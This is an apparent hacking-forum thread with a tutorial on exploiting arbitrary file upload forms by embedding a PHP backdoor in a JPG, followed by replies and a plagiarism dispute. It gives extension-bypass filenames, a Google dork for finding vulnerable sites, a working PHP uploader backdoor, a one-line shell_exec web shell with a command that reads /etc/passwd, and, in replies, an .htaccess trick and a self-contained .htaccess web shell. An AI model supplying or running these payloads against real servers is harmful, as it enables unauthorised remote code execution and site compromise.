[BeggFoMercy]

[img]http://i.minus.com/ieq6viOQ6szdE.gif[/img]

Firstly I would like to give credits to Inclination and a great shout out to Legion .

Exploiting An Arbitrary File Uploading Vulnerability [ Backdoor binding into an Image ]

During a website audit, upload forms and other interactive 'user-content' driven facilities are often found to be protected by client side and/or server side security checks. This tutorial presents the methods that can be used to circumvent these security checks. In this case we're specifically considering image uploads that allow JPG files in particular.
An Arbitary file uploading vulnerability Is a vulnerability in the uploading forms that can allow a user to upload a malicious file that might compromise the website server system , If it gets used correctly it can lead to [ Shelling - Remote Code Execution .... ]


Requirements

ExifPilot or edjpgcom

And this is actually what we need to exploit .

A white-list of file extensions is in place so that anything that isn't a picture is DENIED:

PHP Code


<?php 
$valid_file_extensions = array(".jpg", ".jpeg", ".gif", ".png"); 


Here's a list of extension bypasses Before we start our tutorial :

Code

shell.jpg.php (satisfies as check for jpg only)
shell.jpg.PhP (obfuscation)
shell.php;.jpg (sometimes can ignore whats after ";")
shell.php%0delete0.jpg (the infamous NULL byte which comments out trailing text, remove the word delete so the zeros join together, blogspot strips this string!)

shell.php.test (defaults to first recognised extension ignoring "test")
shell.php.xxxjpg (still ends in .jpg, but not recognised extension so will default to php!)
.phtml (a commonly used php parsed extension often forgotten about!)
.php3/.php4/.php5 (valid PHP extensions possibly left out of extension blacklists)

Finding Vulnerabilities

To find vulnerabilities we are going to use a simple google dork That will fetch us some websites that might be vulnerable to Arbitary file uploading .

Code

inurl:/upload.php intext:Image Upload

Credits to -DownFall on the google dork .

Once you find a website , Your page should look like a simple uploading form that lets the user uploads Images/Any type of files , Our point is to bypass the extension checkup , And upload a PHP file (Shell) .

Binding a backdoor PHP code (A simple php uploader I had earlier) into the Image .
Fire up your ExifPilot and then Simply browse the picture that you'll inject/bind the back door into , And by double clicking that file you'll get to see a box that you can add "comments" into the picture .

Spoiler (Click to View)

Then in the "comment" parameter you'll be adding you'r PHP backdoor , Here's a simple PHP uploader .

PHP Code


<?php if (isset($_REQUEST["upload"])) { $file=$HTTP_POST_FILES["file"]["name"]; $path=realpath('.'); @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $path . "/" . $file) or die(); echo "door uploaded"; } else { echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=200><b>file uploader</b><input name=file type=file><br><input type=submit name=upload value=upload></form>"; } ?>

Once you press Ok , The backdoor will be binded successfuly into the image , Now If you upload your shell as in the JPG extension , You won't see the picture as it will contain errors , What we will do now is Edit the Image file that we binded the backdoor into with Paint then save it in "shellname.php"

Now You'r shell would be uploadable/executable on the server's system .

How to use EDJPGCOM Instead of ExifPilot ?

Simply drag your jpg File into EDJPGCOM Icon A box would appear , You'll add the backdoor php code into that box , Then save it some where , Then you're done .

How to find you'r shell ?

If the website you're compromising allows Thumnbail viewing of the uploaded file , Right click on thumbnail of the file that you have uploaded and click on " Copy Image Location " , Paste it some where , And then you got you'r full shell's link .

The uploader doesn't work ?

Here's a Tiny shell that uses shell_exec() to get you some remote code execution to the server , Then you can use wget to download a php shell .

PHP Code


<?if($_GET['bfm']){echo"<pre>".shell_exec($_GET["bfm"]);}?>

To run commands on the server, usage would be:

Code

website.com/shell.jpg.php?bfm=cat /etc/passwd

Some resources ( Thanks to Nyckel for reminding me ) : http://hackers2devnull.blogspot.com/2013...pload.html

Thank you for reading my thread .
-BeggFoMercy

[Gee4rce]

Well i'm not new to this technique,
but still though i'd like to mention that it's a well written tutorial which will definately will help thoose who are new to this!
Greets, Gee.

[Krieg]

You don't actually need any kind of special editor to do this.
You can just concatentate a jpeg image and a small PHP shell and it'll work just fine. The "cat" command on any modern Unix will do this.

[Nyckel]

Half of this is literally copy and pasted from cheatson's blog post. What isn't copy and pasted is paraphrased, making it less detailed.
http://hackers2devnull.blogspot.com/2013...pload.html

You even took his php code and filled in your name as the var instead of his...
Yours:

PHP Code


<?if($_GET['bfm']){echo"<pre>".shell_exec($_GET["bfm"]);}?>

To run commands on the server, usage would be:

Code

website.com/shell.jpg.php?bfm=cat /etc/passwd

His:


I recommend trying to create your own content next time. This just makes you look pretty pathetic.

[LevelUp]

Why did I see none of the .htaccess methods in this?

Interpret .jpg as .php then just upload a .jpg with PHP code contents

Code

AddType application/x-httpd-php .jpg

Or .htaccess shell

Code

# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

## SHELL ## <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>## LLEHS ##

Also shell.php;.jpg is usually associated with IIS.

EDIT: Also what do we have here? http://hackers2devnull.blogspot.ie/2013/...pload.html

[BeggFoMercy]

Half of this is literally copy and pasted from cheatson's blog post. What isn't copy and pasted is paraphrased, making it less detailed.
http://hackers2devnull.blogspot.com/2013...pload.html

You even took his php code and filled in your name as the var instead of his...
Yours:
His:


I recommend trying to create your own content next time. This just makes you look pretty pathetic.

I already now that I copied some stuff , But you don't actually have the right of saying that I copied it all , I was just collecting every thing about this in a simple thread , The point is that i have forgotten adding a resource to my thread .